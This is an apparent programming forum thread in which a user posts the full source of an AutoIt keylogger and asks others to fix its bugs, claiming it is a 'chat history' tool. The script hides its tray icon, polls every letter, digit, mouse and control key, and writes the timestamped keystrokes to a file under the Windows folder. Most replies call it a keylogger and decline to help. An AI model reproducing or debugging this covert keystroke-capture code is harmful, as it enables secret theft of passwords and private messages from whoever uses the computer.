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_IfPressed

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I am having some problems with _IfPressed, like ill run the exe and type "test" and it will say this

[ 22. 06. 2006  22:50:39 ]   Pressed Button: e
[ 22. 06. 2006  22:50:39 ]   Pressed Button: t
[ 22. 06. 2006  22:50:39 ]   Pressed Button: s
[ 22. 06. 2006  22:50:39 ]   Pressed Button: t

Heres the code to the script

Opt ("TrayIconHide", 1)
HotKeySet ("^e", "MyExit")

Func _IsPressed($hexKey)

  
  Local $aR, $bRv
  $hexKey = '0x' & $hexKey
  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

  If $aR[0] <> 0 Then
     $bRv = 1
  Else
     $bRv = 0
  EndIf
  
  Return $bRv
EndFunc  

$file = FileOpen("C:\WINDOWS\log\history.txt", 1)
If $file = -1 Then
   Exit
EndIf
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "NEW TIME ==============================================")

While 1

  If _IsPressed(41) Then
     _LogKeyPress("a")
EndIf


  If _IsPressed(42) Then
     _LogKeyPress("b")
EndIf


  If _IsPressed(43) Then
     _LogKeyPress("c")
EndIf


  If _IsPressed(44) Then
     _LogKeyPress("d")
EndIf


  If _IsPressed(45) Then
     _LogKeyPress("e")
EndIf


  If _IsPressed(46) Then
     _LogKeyPress("f")
EndIf


  If _IsPressed(47) Then
     _LogKeyPress("g")
EndIf


  If _IsPressed(48) Then
     _LogKeyPress("h")
EndIf


  If _IsPressed(49) Then
     _LogKeyPress("i")
EndIf


  If _IsPressed('4a') Then
     _LogKeyPress("j")
EndIf


  If _IsPressed('4b') Then
     _LogKeyPress("k")
EndIf


  If _IsPressed('4c') Then
     _LogKeyPress("l")
EndIf


  If _IsPressed('4d') Then
     _LogKeyPress("m")
EndIf


  If _IsPressed('4e') = 1 Then
     _LogKeyPress("n")
EndIf


  If _IsPressed('4f') Then
     _LogKeyPress("o")
EndIf


  If _IsPressed(50) Then
     _LogKeyPress("p")
EndIf


  If _IsPressed(51) Then
     _LogKeyPress("q")
EndIf


  If _IsPressed(52) Then
     _LogKeyPress("r")
EndIf


  If _IsPressed(53) Then
     _LogKeyPress("s")
EndIf


  If _IsPressed(54) Then
     _LogKeyPress("t")
EndIf


  If _IsPressed(55) Then
     _LogKeyPress("u")
EndIf


  If _IsPressed(56) Then
     _LogKeyPress("v")
EndIf


  If _IsPressed(57) Then
     _LogKeyPress("w")
EndIf


  If _IsPressed(58) Then
     _LogKeyPress("x")
EndIf


  If _IsPressed(59) Then
     _LogKeyPress("y")
EndIf

   If _IsPressed('5a') Then
     _LogKeyPress("z")
EndIf


If _IsPressed('01') Then
     _LogKeyPress("LEFT MOUSE")
EndIf

  If _IsPressed('02') Then
     _LogKeyPress("RIGHT MOUSE")
  EndIf
  
  
    If _IsPressed('08') Then
     _LogKeyPress("BACKSPACE")
  EndIf
  
  
    If _IsPressed('09') Then
     _LogKeyPress("TAB")
  EndIf
  
   
  
    If _IsPressed('10') Then
     _LogKeyPress("SHIFT")
  EndIf
  
  
      If _IsPressed('11') Then
     _LogKeyPress("CTRL")
  EndIf
  
  
      If _IsPressed('12') Then
     _LogKeyPress("ALT")
EndIf


    If _IsPressed('13') Then
     _LogKeyPress("PAUSE")
  EndIf  


   If _IsPressed('14') Then
     _LogKeyPress("CAPSLOCK")
EndIf


    If _IsPressed('1b') Then
     _LogKeyPress("ESC")
EndIf


    If _IsPressed('20') Then
     _LogKeyPress("SPACE")
  EndIf
  
  
      If _IsPressed('21') Then
     _LogKeyPress("PGUP")
  EndIf
  
  
      If _IsPressed('22') Then
     _LogKeyPress("PGDOWN")
  EndIf
  
  
      If _IsPressed('23') Then
     _LogKeyPress("END")
  EndIf
  
  
      If _IsPressed('24') Then
     _LogKeyPress("HOME")
  EndIf
  
  
      If _IsPressed('25') Then
     _LogKeyPress("LEFT ARROW")
  EndIf
  
  
      If _IsPressed('26') Then
     _LogKeyPress("UP ARROW")
  EndIf
  
  
      If _IsPressed('27') Then
     _LogKeyPress("RIGHT ARROW")
  EndIf
  
  
      If _IsPressed('28') Then
     _LogKeyPress("DOWN ARROW")
  EndIf
  
  
      If _IsPressed('2c') Then
     _LogKeyPress("PRNTSCRN")
  EndIf
  
  
      If _IsPressed('2d') Then
     _LogKeyPress("INSERT")
  EndIf
  
  
      If _IsPressed('2e') Then
     _LogKeyPress("DEL")
EndIf

    If _IsPressed('30') Then
     _LogKeyPress("0")
  EndIf
  
  
      If _IsPressed('31') Then
     _LogKeyPress("1")
  EndIf
  
  
      If _IsPressed('32') Then
     _LogKeyPress("2")
  EndIf
  
  
      If _IsPressed('33') Then
     _LogKeyPress("3")
  EndIf
  
  
      If _IsPressed('34') Then
     _LogKeyPress("4")
  EndIf
  
  
      If _IsPressed('35') Then
     _LogKeyPress("5")
  EndIf
  
  
      If _IsPressed('36') Then
     _LogKeyPress("6")
  EndIf
  
  
      If _IsPressed('37') Then
     _LogKeyPress("7")
  EndIf
  
  
      If _IsPressed('38') Then
     _LogKeyPress("8")
EndIf


    If _IsPressed('39') Then
     _LogKeyPress("9")
 EndIf
 
     If _IsPressed('0d') Then
     Exit
  EndIf

WEnd


  Sleep(50)
Func _LogKeyPress($what2log)
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
sleep ("100")
EndFunc

FileClose($file)

Func MyExit ()
   Exit
EndFunc

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You won't find any help on keyloggers here. (Well from anyone that knows what they are talking about anyway)


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#3 ·  Posted (edited)

Unless i'm wrong thats a keylogger

EDIT: you beat me to it

Edited by codemyster

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uhmmmmmm o my o my this doesnt look like a keylogger what so ever , please remove your script, no one will help you and if they do well idk

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#5 ·  Posted (edited)

Its not a keylogger, its a chat history. I have gotten it to work, but sometimes it logs the keys in different order, or some times double.

Edited by Sparrowlord

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Tell the people in the chat to type s---l---o---w

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So this is for your "chat program sort of"?

Where's your GUI? :D


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If your making a chat program as Skruge points out, and you want to give the option to save history, then all you need to use is GUICtrlRead(), any other reason to need it is for all sake and arguements would be classified as a keylogger now matter how sweet you try to make it sound or how good your intentions are.


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Aww I see how it is, cant help a person whos code is almost done, and what he needs help with you think its a keylogger... pft

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well, it does log all the keys typed and save them to a file... maybe it is a keylogger but it isn't being used for harmful reasons

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#12 ·  Posted (edited)

"Func _LogKeyPress($what2log)" looks so familiar.

Wansnt this made by ezzetabi or something ?

[edit]it was gosu in a thread made by ezzetabi[/edit]

Edited by w0uter

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#13 ·  Posted (edited)

sigh...Please read the sticky Jon posted about keyloggers. Do not ask for help with keyloggers. Most of us take it as you are using it for dark side purposes. I personally have no idea if you are telling the truth, and seeing how the vast majority of attempts at keyloggers are for doing bad things, I have no reason to believe your intention is good, no matter what you say. If you just want to run this on your PC, then there are many other ways to save your input. Simply highlighting the text, copy and paste is one option. Also, most chat clients have a log option to save your conversations. If your chat client doesn't have this option, then switch clients. Sorry dude, but what you are asking for is just something we don't like here.

Edited by vollyman

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#14 ·  Posted (edited)

If you are in fact making a chat program then, as Smoke_n said, all you would need is GUICtrlRead() to read the text of the message when it is sent. To log received messages just save them to the file as they are received over the net. No need for a keylogger if a chat history is really what you want.

EDIT: Typo

Edited by Don N

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If you are in fact making a chat program then, as Smoke_n said, all you would need is GUICtrlRead() to read the text of the message when it is sent. To log received messages just save them to the file as they are received over the net. No need for a keylogger if a chat history is really what you want.

EDIT: Typo

why would he need that , if hes making his own chat program and he has an Edit and someone send him a message, when he recieves it hes going to do a guictrlsetdata, you dont have to log them to a file, and i still think this is a keylogger so yeah

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#16 ·  Posted (edited)

quotes of conversation from sparrow and me

he wanted a prog for his dad

i am very trust worthy

1 I the the most post of any member... only developers have more.. I have given much of myself

2 all of my efforts have been to help people here... look at my scripts, and my posts... including the ones with you

3 you could donate ... just because you wanted to support Autoit.. not just to get something... you can't get burned with that idea

4 I have done every thing you have asked

5 I dont even want the money personally

is that not... trust worthy

since i have done everything you asked.... and I have asked nothing of you

My ONE requirement is you donate first ... then i will put your splash and name on every part... and remove my name

8)

how much of a donate are we talking about then?

your quote

I have donated to multiple websites with values of $50 or more.

how about the just $50 then...

listen i make over $50 and hour ( alot more )

and i have spent at least 3 full days on this

i only asked what you said... for other donations

ok?

8)

Uhh, lets see I am only 15... I had to give my birthday money to donate that $50..

*** lowered to $20 and he told me he only had $2

never saw nada

8)

Edited by Valuater

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Its not a keylogger, its a chat history. I have gotten it to work, but sometimes it logs the keys in different order, or some times double.

Definitely a keylogger :D , but I absolutely see no chat program to even make this keylogger code useful. So without good reason, no help offered from me. :D

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#18 ·  Posted (edited)

i had a question relating 'multimedia' keys on keyboards. is there a way to read the raw hex code that they return when pressed?

Reason i want to know: my multimedia keyboard has media buttons like "play/pause/next track....." but they only work with media player. i want them to work with winamp, and other media players. so i wanted to make an autoit script that reads the key hex code.

all the scripts i've seen around here seem to involve the following algorithm:

----------------------------------------------------------

If (blah pressed)

You pressed (blah)

Case

<<Look-up-table defining all the keys>>

...

...

------------------------------------------------------------

I wanted one specifically for the multimedia keys,, any ideas ?

thanks

Edited by gagan512

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I'm the stupidest person here and even I knew what this script is for.

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